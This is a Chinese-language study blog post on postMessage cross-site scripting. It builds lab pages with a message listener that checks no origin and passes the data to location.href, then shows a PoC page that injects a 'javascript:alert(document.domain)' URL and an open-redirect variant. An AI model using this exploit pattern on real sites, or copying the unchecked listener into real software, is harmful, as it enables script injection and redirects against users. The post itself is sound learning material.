postmessage xss初步学习

最新推荐文章于 2025-12-16 22:22:21 发布

原创最新推荐文章于 2025-12-16 22:22:21 发布 · 726 阅读

11 ·

CC 4.0 BY-SA版权

文章标签：

#xss #学习 #前端

随笔

由于本人现在处于项目上，夜班太无聊，随便翻翻网上博客，发现了玲珑的老师-红尘哥在之前写的postmessage xss文章，就想着学习一下这块知识
原文链接

postMessage 的工作原理

postMessage 允许一个窗口向另一个窗口发送消息。消息可以是任意可序列化的数据，例如字符串、数字、对象等。消息的发送方和接收方可以通过 event 对象来处理消息。所以也可以用于xss攻击

环境搭建

由于在上夜班，我自己的vps访问不了，我这里就用dnslog(https://requestrepo.com/)来演示，这个平台可以上传一些html等等文件
在这里插入图片描述

我这里就用红尘哥的环境代码来操作（这里我改了点东西）
demo1.html，代发送数据的页面

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
function openChild() {
    child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
    //发送的数据内容
    let msg={pName : "shihui", pAge: "20"};
    //child.postMessage(msg, '*'); 的意思是：向 child 窗口发送一个消息 msg，并且允许消息发送到任意来源的窗口，也就是说可以发送消息数据到任意目标源
    child.postMessage(msg,'*');
}
</script>
</head>
<body>
    <form>
        <fieldset>
            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
        </fieldset>
    </form>
</body>
</html>

demo2.html，代监听发送的数据，接收消息数据页面

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
        //添加事件监控消息
    window.addEventListener("message", (event)=>{
        let txt=document.getElementById("msg");
        //接收传输过来的变量数据
        txt.value=`Name is ${event.data.pName} Age is  ${event.data.pAge}` ;

    });
    </script>
</head>
<body>
    <form>
        <h1>postMessage学习</h1>
        <input type='text' id='msg'/>
    </form>
</body>
</html>

这里的接收页面，有三个问题
1.代码没有检查 event.origin，这意味着任何来源的窗口都可以向当前窗口发送消息。如果攻击者通过恶意网站打开你的窗口并发送伪造的消息，这些消息可能会被接收并显示在文本框中。

2.代码没有检查 event.source，这意味着任何窗口都可以发送消息。如果攻击者通过伪造的窗口引用向你的窗口发送消息，这些消息可能会被接收并显示在文本框中。

3.代码直接将接收到的消息内容插入到文本框中，而没有进行任何清理或验证。如果消息内容包含恶意脚本，这些脚本可能会被浏览器执行，导致 XSS 攻击。

在这里插入图片描述

复现

1.打开网站，点击open 会发现打开了demo2那个页面，然后发送
在这里插入图片描述
2.注意，这里已经把内容传输过去了，然后在demo2上查看

但这里有一个问题就是，这个demo2.html 是任意地址都可以给他发消息
3.那么好，我们来验证一下，是不是可以随便什么地址都可以发(也可以本地直接认证)
再开一个dnslog，新建html
在这里插入图片描述

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('http://6gpquz4n.requestrepo.com/demo2.html');

function sendMessage(){
    let msg={pName : "hack", pAge: "16"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

当访问了这个http://u5qr1efs.requestrepo.com/123.html的时候会自动跳转到我们的demo2站
且内容已经修改
在这里插入图片描述
4.以上都是正常模拟
现在开始尝试xss
代码：

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
    window.addEventListener("message", (event)=>{
        location.href=`${event.data.url}`;//这里${event.data.url}是可控的 所以尝试xss 也可以尝试url
    });
    </script>
</head>
</html>

在这里插入图片描述
利用poc

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('https://6gpquz4n.requestrepo.com/xss.html');

function sendMessage(){
    let msg={url:"javascript:alert(document.domain)"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

在这里插入图片描述
然后访问http://u5qr1efs.requestrepo.com/poc.html
发现自动跳转到https://6gpquz4n.requestrepo.com/xss.html（漏洞存在点）

这里poc中我们发送了

let msg = { url: "javascript:alert(document.domain)" };
childwin.postMessage(msg, '*');//msg 是一个对象，包含一个 url 属性，其值为 "javascript:alert(document.domain)"

但在xss.html中接收就是
event.data 是poc代码发送的 msg 对象。因此，event.data.url 的值是 “javascript:alert(document.domain)”
所以他会弹窗

那么该xss的学习就初步到这里
然后我们开始尝试url跳转
在poc.html中修改url："xxx"这里的xxx可以修改为容易url，我这里就用百度的ico来演示，然后访问http://u5qr1efs.requestrepo.com/poc.html就会发现跳转到百度的ico图标地址
在这里插入图片描述